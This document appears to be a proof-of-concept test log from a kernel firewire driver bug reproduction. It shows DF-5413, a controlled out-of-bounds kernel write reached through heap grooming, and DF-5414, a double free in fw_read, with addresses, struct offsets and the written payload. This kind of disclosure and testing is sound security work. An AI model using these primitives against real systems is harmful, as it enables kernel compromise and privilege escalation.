=== DF-5413 baseline (test 1) ===
kern.df5413_test: 0 -> 0
kern.df5413_status: DF-5413 REPRODUCED: controlled kernel write (header 0x0020ABCD + 32 payload bytes) via OOB seg[0].v_addr to 0xffffffff82606180

=== DF-5414 baseline (test 2) ===
kern.df5413_test: 0 -> 0
kern.df5413_status: DF-5414 REPRODUCED: fw_read freed xfer 0xfffff801176997c0 while still linked in ir->q; read#2 freed it again; allocator handed the same chunk to two owners

=== guest still alive after both tests ===
Sun Oct  4 13:11:17 UTC 2026
df5413: prepared, fc=0xffffffff82606a80 sizeof(fwdma_alloc_multi)=32 offsetof(fw_xferq,rkq)=152 sizeof(fw_bind)=56 sizeof(fw_xfer)=152
df5413: V(target kaddr)=0xffffffff82606180
df5413: attempt 0 bank 0xfffff8008d481dc0..0xfffff8008d4825a0 pair=0
df5413: attempt 0 it=0xfffff8008fa923a0 am=0xfffff8008d481dc0 nseg=0 bnchunk=65536 bnpacket=65536 psize=2048 bulkxfer=0xfffff80118500000
df5413:   &am->seg[0]=0xfffff8008d481de0 (allocation is 32 bytes) -- seg[0] is OUT OF BOUNDS
df5413:   OOB-read seg[0].v_addr = 0xffffffff82606180 (want 0xffffffff82606180 == GROOMED)
df5413: calling production fw_write, marker before = 0000000000000000
df5413: fw_write err=0 resid=0 marker after = 343546440020abcd 52544e4f432d3331 454b2d44454c4c4f
df5413:   payload="13-CONTROLLED-KERNEL-WRITE!!UUUUffffffffwwwwwwwwM^HM^HM^HM^HM^HM^HM^HM^H^A"
df5413: DF-5413 REPRODUCED: controlled kernel write (header 0x0020ABCD + 32 payload bytes) via OOB seg[0].v_addr to 0xffffffff82606180
df5414: ir=0xfffff8008fa92450 buf=0xfffff80118811540 bnchunk=8 bnpacket=8
df5414: injected xfer=0xfffff801176997c0, ir->q head=0xfffff801176997c0 queued=1
df5414: read#1 err=0 -- ir->q head=0xfffff801176997c0 (STILL THE FREED XFER) queued=1
df5414: realloc p1=0xfffff801176997c0 (same address as freed xfer)
df5414: read#2 err=0 -- p2=0xfffff801176997c0 p1=0xfffff801176997c0 -> DUPLICATE ALLOCATION (double free proven)
df5414: DF-5414 REPRODUCED: fw_read freed xfer 0xfffff801176997c0 while still linked in ir->q; read#2 freed it again; allocator handed the same chunk to two owners